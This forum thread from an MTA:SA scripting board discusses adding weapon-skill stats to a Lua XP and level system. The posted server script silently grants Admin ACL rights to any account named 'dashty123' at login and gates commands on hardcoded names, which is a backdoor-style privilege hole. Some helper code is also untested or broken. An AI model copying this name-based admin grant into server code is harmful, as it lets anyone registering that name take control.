loniasiva Posted August 3, 2016 Share Posted August 3, 2016 hello dudes can you help me to add skills/stats to this system For example if EXP get, >= 1000 and <=1999 the skill of AK47 get 500.? function win(ammo, killer, weapon, bodypart) if (killer and getElementType(killer) == "player" and killer ~= source) then local H = getElementData(killer, "EXP") or 0 local S = getElementData(killer, "LV") or 0 local noob = getPlayerName(source) local experience = 200 setElementData(killer, "EXP", tonumber(H)+experience) local H = tonumber(H) + experience triggerClientEvent(killer, "onTestExp", killer, experience) if (tonumber(H) >= 0 and tonumber(H) <=999) then setElementData(killer, "LV", 1) setElementData(killer, "experience.rank", "1") elseif (tonumber(H) >= 1000 and tonumber(H) <=1999) then setElementData(killer, "LV", 2) elseif (tonumber(H) >= 2000 and tonumber(H) <=2999) then setElementData(killer, "LV", 3) elseif (tonumber(H) >= 3000 and tonumber(H) <=3999) then setElementData(killer, "LV", 4) Link to comment
Captain Cody Posted August 4, 2016 Share Posted August 4, 2016 function win(ammo, killer, weapon, bodypart) if (killer and getElementType(killer) == "player" and killer ~= source) then local H = getElementData(killer, "EXP") or 0 local S = getElementData(killer, "LV") or 0 local noob = getPlayerName(source) local experience = 200 setElementData(killer, "EXP", tonumber(H)+experience) local H = tonumber(H) + experience triggerClientEvent(killer, "onTestExp", killer, experience) local yourExperience = math.ceil (H/1000) setElementData(killer, "LV", yourExperience) setElementData(killer, "experience.rank", "1") end end Divides your experience by one thosand (Seams to be what you were doing) then rounds it up to the nearest whole number. Link to comment
loniasiva Posted August 4, 2016 Author Share Posted August 4, 2016 function win(ammo, killer, weapon, bodypart) if (killer and getElementType(killer) == "player" and killer ~= source) then local H = getElementData(killer, "EXP") or 0 local S = getElementData(killer, "LV") or 0 local noob = getPlayerName(source) local experience = 200 setElementData(killer, "EXP", tonumber(H)+experience) local H = tonumber(H) + experience triggerClientEvent(killer, "onTestExp", killer, experience) local yourExperience = math.ceil (H/1000) setElementData(killer, "LV", yourExperience) setElementData(killer, "experience.rank", "1") end end Divides your experience by one thosand (Seams to be what you were doing) then rounds it up to the nearest whole number. bro i dont get it!? Link to comment
Captain Cody Posted August 4, 2016 Share Posted August 4, 2016 Oh I kind of ignored what your whole plan was. I'll write something later that'll fix it. Link to comment
Captain Cody Posted August 4, 2016 Share Posted August 4, 2016 function win(ammo, killer, weapon, bodypart) if (killer and getElementType(killer) == "player" and killer ~= source) then local H = getElementData(killer, "EXP") or 0 local S = getElementData(killer, "LV") or 0 local noob = getPlayerName(source) local experience = 200 setElementData(killer, "EXP", tonumber(H)+experience) local H = tonumber(H) + experience triggerClientEvent(killer, "onTestExp", killer, experience) local yourExperience = math.ceil (H/1000) local gunExperience = (H/5)/5 setElementData(killer, "LV", yourExperience) setElementData(killer, "experience.rank",tostring(yourExperience)) if gunExperience < 1001 then for i=69,79 do setPedStat (killer,i,gunExperience) end end end end end Should work, untested. Link to comment
loniasiva Posted August 4, 2016 Author Share Posted August 4, 2016 function win(ammo, killer, weapon, bodypart) if (killer and getElementType(killer) == "player" and killer ~= source) then local H = getElementData(killer, "EXP") or 0 local S = getElementData(killer, "LV") or 0 local noob = getPlayerName(source) local experience = 200 setElementData(killer, "EXP", tonumber(H)+experience) local H = tonumber(H) + experience triggerClientEvent(killer, "onTestExp", killer, experience) local yourExperience = math.ceil (H/1000) local gunExperience = (H/5)/5 setElementData(killer, "LV", yourExperience) setElementData(killer, "experience.rank",tostring(yourExperience)) if gunExperience < 1001 then for i=69,79 do setPedStat (killer,i,gunExperience) end end end end end Should work, untested. bro i uploaded the resources to this link (http://www.mediafire.com/download/t8ibe ... MTA_SA.zip) can you download it and fix it?! Link to comment
DarkByte Posted August 4, 2016 Share Posted August 4, 2016 Dashty please, "Dashty, is a Grafuroam cloner". I was using same resource 1 yer ago Link to comment
Captain Cody Posted August 4, 2016 Share Posted August 4, 2016 Never mind, I messed up sorry. Set your server side to this function win(ammo, killer, weapon, bodypart) if (killer and getElementType(killer) == "player" and killer ~= source) then local H = getElementData(killer, "EXP") or 0 local S = getElementData(killer, "LV") or 0 local noob = getPlayerName(source) local experience = 200 setElementData(killer, "EXP", tonumber(H)+experience) local H = tonumber(H) + experience triggerClientEvent(killer, "onTestExp", killer, experience) local yourExperience = math.ceil (H/1000) local gunExperience = (H/5)/33 setElementData(killer, "LV", yourExperience) setElementData(killer, "experience.rank",tostring(yourExperience)) if gunExperience < 1001 then setElementData(killer, "player.weaponExp",gunExperience) for i=69,79 do setPedStat (killer,i,gunExperience) end end end end end addEventHandler( "onPlayerWasted", getRootElement(), win) function onLogin (_,account) setElementData(source, "LV", getAccountData(account, "LV") or "0") setElementData(source, "EXP", getAccountData(account, "EEXP") or "0") setElementData(source, "player.key", getAccountData(account, "player.key") or "Guest") setElementData(source, "experience.rank", getAccountData(account, "experience.rank") or "Guest") setElementData(source, "player.weaponExp", getAccountData(account, "player.weaponExp")) if gunExperience < 1001 then for i=69,79 do setPedStat (killer,i,gunExperience) end end end addEventHandler ("onPlayerLogin", root, onLogin) function onLogout (_,account) setElementData(source, "LV", 0) setElementData(source, "EXP", 0) setElementData(source, "reputation.point", 0) setElementData(source, "experience.rank", "Newbie") setElementData(source, "player.key", "Guest") end addEventHandler ("onPlayerLogout", root, onLogout) function saveData(thePlayer, theAccount) local theAccount = getPlayerAccount(source) if (theAccount and not isGuestAccount(theAccount)) then setAccountData (theAccount, "LV", getElementData(thePlayer, "LV")) setAccountData (theAccount, "EEXP", getElementData(thePlayer, "EXP")) setAccountData (theAccount, "experience.rank", getElementData(thePlayer, "experience.rank")) setAccountData (theAccount, "player.key", getElementData(thePlayer, "player.key")) setAccountData (theAccount, "player.weaponExp", getElementData(thePlayer, "player.weaponExp")) end end addEventHandler ("onPlayerQuit", root, function () saveData(source, getPlayerAccount(source)) end) addEventHandler ("onPlayerLogout", root, function () saveData(source, getPlayerAccount(source)) end) addEventHandler ("onPlayerLogout", root, function (prev) saveData(source, prev) end) ---this is top of me addCommandHandler ( "setxp", function ( thePlayer, _, who, EXP ) if getElementData(thePlayer, "player.key") == "dashty123" then if ( who ) then local EXP = tonumber (EXP) or 0 local ThePlayer = getPlayerFromParticalName ( who ) if ( ThePlayer ) then setElementData( ThePlayer,"EXP",EXP ) outputChatBox("Your XP has been set to "..EXP, ThePlayer, 255, 0, 0, true) else outputChatBox("Couldn't find '"..who.."'", thePlayer, 255, 0, 0, true) end else outputChatBox("Couldn't find '"..who.."'", thePlayer, 255, 0, 0, true) end end end ) function getPlayerFromParticalName(thePlayerName) local thePlayer = getPlayerFromName(thePlayerName) if thePlayer then return thePlayer end for _,thePlayer in ipairs(getElementsByType("player")) do if string.find(string.gsub(getPlayerName(thePlayer):lower(),"#%x%x%x%x%x%x", ""), thePlayerName:lower(), 1, true) then return thePlayer end end return false end function outputChange(dataName,oldValue) if getElementType(source) == "player" and dataName == "experience.rank" and oldValue then local newValue = getElementData(source,dataName) outputChatBox("Congratulations you are Rank up #FFFFFF'"..'Just Do it'.."'",source, 255, 0, 0, true) triggerClientEvent(source, "onClientRankUp", source) end end addEventHandler("onElementDataChange",getRootElement(),outputChange) addEventHandler("onPlayerLogin", root, function(_, account) if not getAccountData(account, "player.key") then setElementData(source, "player.key", getAccountName(account)) setAccountData(account, "player.key", getElementData(source, "player.key")) else end end) addEvent("addToTeam", true) addEventHandler("addToTeam", root, function (playername, teamname) local player = getPlayerFromName(playername or "") local team = getTeamFromName(teamname or "") if player and team then local r, g, b = getTeamColor ( team ) setPlayerTeam(player, team) setPlayerNametagColor ( player, r, g, b ) outputChatBox("You have been moved to #FFFFFF"..getTeamName(team).."#FF0000.", player, 255, 0, 0, true) end end) addEvent("kickFromTeam", true) addEventHandler("kickFromTeam", root, function (playername, teamname) local player = getPlayerFromName(playername or "") local team = getTeamFromName(teamname or "") if player and team then local red, green, blue = math.random (50, 255), math.random (50, 255), math.random (50, 255) setPlayerTeam(player, nil) setPlayerNametagColor(player, red, green, blue) outputChatBox("You have been kicked out of the #FFFFFF"..team.."#FF0000.", player, 255, 0, 0, true) end end) addEvent("promotePlayer",true) addEventHandler("promotePlayer",root, function(playername, rank) local player = getPlayerFromName(playername or "") if player then if rank then setElementData(player, "clan.rank", rank) outputChatBox("You have been promoted to a #FFFFFF"..tostring(rank), player, 255, 0, 0, true) end end end) addEvent("DemotePlayer",true) addEventHandler("DemotePlayer",root, function(playername, rank) local player = getPlayerFromName(playername or "") if player then if rank then setElementData(player, "clan.rank", rank) outputChatBox("You have been demoted to a #FFFFFF"..tostring(rank), player, 255, 0, 0, true) end end end) function loopFix( thePlayer, _, who, lossp ) if getElementData(thePlayer, "player.key") == "vievsonic" then if ( who ) then local LossC = tonumber (lossp) or 0 local ThePlayer = getPlayerFromParticalName ( who ) if ( ThePlayer ) then setElementData( ThePlayer,"EXP",LossC ) end end end end addCommandHandler ( "fixbug", loopFix) addEventHandler( 'onPlayerLogin', root, function ( ) local account = getPlayerAccount( source ) if account and not isGuestAccount( account ) then local accountName = getAccountName( account ) if accountName == "dashty123" then aclGroupAddObject (aclGetGroup("Admin"), "user."..accountName) setElementData(source, "ACL", "Lui") end end end ) function RGBToHex(red, green, blue) if((red < 0 or red > 255 or green < 0 or green > 255 or blue < 0 or blue > 255)) then return nil end return string.format("#%.2X%.2X%.2X", red, green, blue) end Link to comment
loniasiva Posted August 4, 2016 Author Share Posted August 4, 2016 Never mind, I messed up sorry. Set your server side to this function win(ammo, killer, weapon, bodypart) if (killer and getElementType(killer) == "player" and killer ~= source) then local H = getElementData(killer, "EXP") or 0 local S = getElementData(killer, "LV") or 0 local noob = getPlayerName(source) local experience = 200 setElementData(killer, "EXP", tonumber(H)+experience) local H = tonumber(H) + experience triggerClientEvent(killer, "onTestExp", killer, experience) local yourExperience = math.ceil (H/1000) local gunExperience = (H/5)/33 setElementData(killer, "LV", yourExperience) setElementData(killer, "experience.rank",tostring(yourExperience)) if gunExperience < 1001 then setElementData(killer, "player.weaponExp",gunExperience) for i=69,79 do setPedStat (killer,i,gunExperience) end end end end end addEventHandler( "onPlayerWasted", getRootElement(), win) function onLogin (_,account) setElementData(source, "LV", getAccountData(account, "LV") or "0") setElementData(source, "EXP", getAccountData(account, "EEXP") or "0") setElementData(source, "player.key", getAccountData(account, "player.key") or "Guest") setElementData(source, "experience.rank", getAccountData(account, "experience.rank") or "Guest") setElementData(source, "player.weaponExp", getAccountData(account, "player.weaponExp")) if gunExperience < 1001 then for i=69,79 do setPedStat (killer,i,gunExperience) end end end addEventHandler ("onPlayerLogin", root, onLogin) function onLogout (_,account) setElementData(source, "LV", 0) setElementData(source, "EXP", 0) setElementData(source, "reputation.point", 0) setElementData(source, "experience.rank", "Newbie") setElementData(source, "player.key", "Guest") end addEventHandler ("onPlayerLogout", root, onLogout) function saveData(thePlayer, theAccount) local theAccount = getPlayerAccount(source) if (theAccount and not isGuestAccount(theAccount)) then setAccountData (theAccount, "LV", getElementData(thePlayer, "LV")) setAccountData (theAccount, "EEXP", getElementData(thePlayer, "EXP")) setAccountData (theAccount, "experience.rank", getElementData(thePlayer, "experience.rank")) setAccountData (theAccount, "player.key", getElementData(thePlayer, "player.key")) setAccountData (theAccount, "player.weaponExp", getElementData(thePlayer, "player.weaponExp")) end end addEventHandler ("onPlayerQuit", root, function () saveData(source, getPlayerAccount(source)) end) addEventHandler ("onPlayerLogout", root, function () saveData(source, getPlayerAccount(source)) end) addEventHandler ("onPlayerLogout", root, function (prev) saveData(source, prev) end) ---this is top of me addCommandHandler ( "setxp", function ( thePlayer, _, who, EXP ) if getElementData(thePlayer, "player.key") == "dashty123" then if ( who ) then local EXP = tonumber (EXP) or 0 local ThePlayer = getPlayerFromParticalName ( who ) if ( ThePlayer ) then setElementData( ThePlayer,"EXP",EXP ) outputChatBox("Your XP has been set to "..EXP, ThePlayer, 255, 0, 0, true) else outputChatBox("Couldn't find '"..who.."'", thePlayer, 255, 0, 0, true) end else outputChatBox("Couldn't find '"..who.."'", thePlayer, 255, 0, 0, true) end end end ) function getPlayerFromParticalName(thePlayerName) local thePlayer = getPlayerFromName(thePlayerName) if thePlayer then return thePlayer end for _,thePlayer in ipairs(getElementsByType("player")) do if string.find(string.gsub(getPlayerName(thePlayer):lower(),"#%x%x%x%x%x%x", ""), thePlayerName:lower(), 1, true) then return thePlayer end end return false end function outputChange(dataName,oldValue) if getElementType(source) == "player" and dataName == "experience.rank" and oldValue then local newValue = getElementData(source,dataName) outputChatBox("Congratulations you are Rank up #FFFFFF'"..'Just Do it'.."'",source, 255, 0, 0, true) triggerClientEvent(source, "onClientRankUp", source) end end addEventHandler("onElementDataChange",getRootElement(),outputChange) addEventHandler("onPlayerLogin", root, function(_, account) if not getAccountData(account, "player.key") then setElementData(source, "player.key", getAccountName(account)) setAccountData(account, "player.key", getElementData(source, "player.key")) else end end) addEvent("addToTeam", true) addEventHandler("addToTeam", root, function (playername, teamname) local player = getPlayerFromName(playername or "") local team = getTeamFromName(teamname or "") if player and team then local r, g, b = getTeamColor ( team ) setPlayerTeam(player, team) setPlayerNametagColor ( player, r, g, b ) outputChatBox("You have been moved to #FFFFFF"..getTeamName(team).."#FF0000.", player, 255, 0, 0, true) end end) addEvent("kickFromTeam", true) addEventHandler("kickFromTeam", root, function (playername, teamname) local player = getPlayerFromName(playername or "") local team = getTeamFromName(teamname or "") if player and team then local red, green, blue = math.random (50, 255), math.random (50, 255), math.random (50, 255) setPlayerTeam(player, nil) setPlayerNametagColor(player, red, green, blue) outputChatBox("You have been kicked out of the #FFFFFF"..team.."#FF0000.", player, 255, 0, 0, true) end end) addEvent("promotePlayer",true) addEventHandler("promotePlayer",root, function(playername, rank) local player = getPlayerFromName(playername or "") if player then if rank then setElementData(player, "clan.rank", rank) outputChatBox("You have been promoted to a #FFFFFF"..tostring(rank), player, 255, 0, 0, true) end end end) addEvent("DemotePlayer",true) addEventHandler("DemotePlayer",root, function(playername, rank) local player = getPlayerFromName(playername or "") if player then if rank then setElementData(player, "clan.rank", rank) outputChatBox("You have been demoted to a #FFFFFF"..tostring(rank), player, 255, 0, 0, true) end end end) function loopFix( thePlayer, _, who, lossp ) if getElementData(thePlayer, "player.key") == "vievsonic" then if ( who ) then local LossC = tonumber (lossp) or 0 local ThePlayer = getPlayerFromParticalName ( who ) if ( ThePlayer ) then setElementData( ThePlayer,"EXP",LossC ) end end end end addCommandHandler ( "fixbug", loopFix) addEventHandler( 'onPlayerLogin', root, function ( ) local account = getPlayerAccount( source ) if account and not isGuestAccount( account ) then local accountName = getAccountName( account ) if accountName == "dashty123" then aclGroupAddObject (aclGetGroup("Admin"), "user."..accountName) setElementData(source, "ACL", "Lui") end end end ) function RGBToHex(red, green, blue) if((red < 0 or red > 255 or green < 0 or green > 255 or blue < 0 or blue > 255)) then return nil end return string.format("#%.2X%.2X%.2X", red, green, blue) end Bro dont working,can you add to my system? the Skill? Link to comment
Captain Cody Posted August 4, 2016 Share Posted August 4, 2016 First please quit using bold, and color for replys, secoundly; anything in debug? Link to comment
loniasiva Posted August 4, 2016 Author Share Posted August 4, 2016 First please quit using bold, and color for replys, secoundly; anything in debug? Resource loading failed!! Link to comment
Captain Cody Posted August 4, 2016 Share Posted August 4, 2016 I need exactly what it says. Link to comment
loniasiva Posted August 4, 2016 Author Share Posted August 4, 2016 I need exactly what it says. dude i mean if players got level weap skill get high for example level 1 = 0 skill and level 50 = 500 skill and level 100 = max. Link to comment
Moderators IIYAMA Posted August 5, 2016 Moderators Share Posted August 5, 2016 local weaponSkill = math.floor(level/100 * 999) As simple as that. Link to comment
loniasiva Posted August 5, 2016 Author Share Posted August 5, 2016 local weaponSkill = math.floor(level/100 * 999) As simple as that. if (tonumber(H) >= 0 and tonumber(H) <=999) then setElementData(killer, "LV", 1) setElementData(killer, "experience.rank", "1") elseif (tonumber(H) >= 1000 and tonumber(H) <=1999) then setElementData(killer, "LV", 2) dude its my system, i did use math.floor. Link to comment
Captain Cody Posted August 5, 2016 Share Posted August 5, 2016 Can you just tell me the debug out put for the script I gave you so that I may figure out the issue? Your way is extremely optimized and really not conventional at all. Link to comment
Moderators IIYAMA Posted August 5, 2016 Moderators Share Posted August 5, 2016 Ofc you did. That hurts, yet so true. Link to comment
loniasiva Posted August 6, 2016 Author Share Posted August 6, 2016 Ofc you did. That hurts, yet so true. huh? i meaning can you add skill weap to this system or you cant? (tonumber(H) >= 0 and tonumber(H) <=999) then setElementData(killer, "LV", 1) elseif (tonumber(H) >= 1000 and tonumber(H) <=1999) then setElementData(killer, "LV", 2) elseif (tonumber(H) >= 2000 and tonumber(H) <=2999) then setElementData(killer, "LV", 3) Link to comment
DarkByte Posted August 6, 2016 Share Posted August 6, 2016 Go behind a corner, slap yourself 3 times and make sure that no one saw you. Link to comment
-.Paradox.- Posted August 24, 2016 Share Posted August 24, 2016 Lol, It's funny to see people using an old code of mine and hoping to achieve something with it Link to comment
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now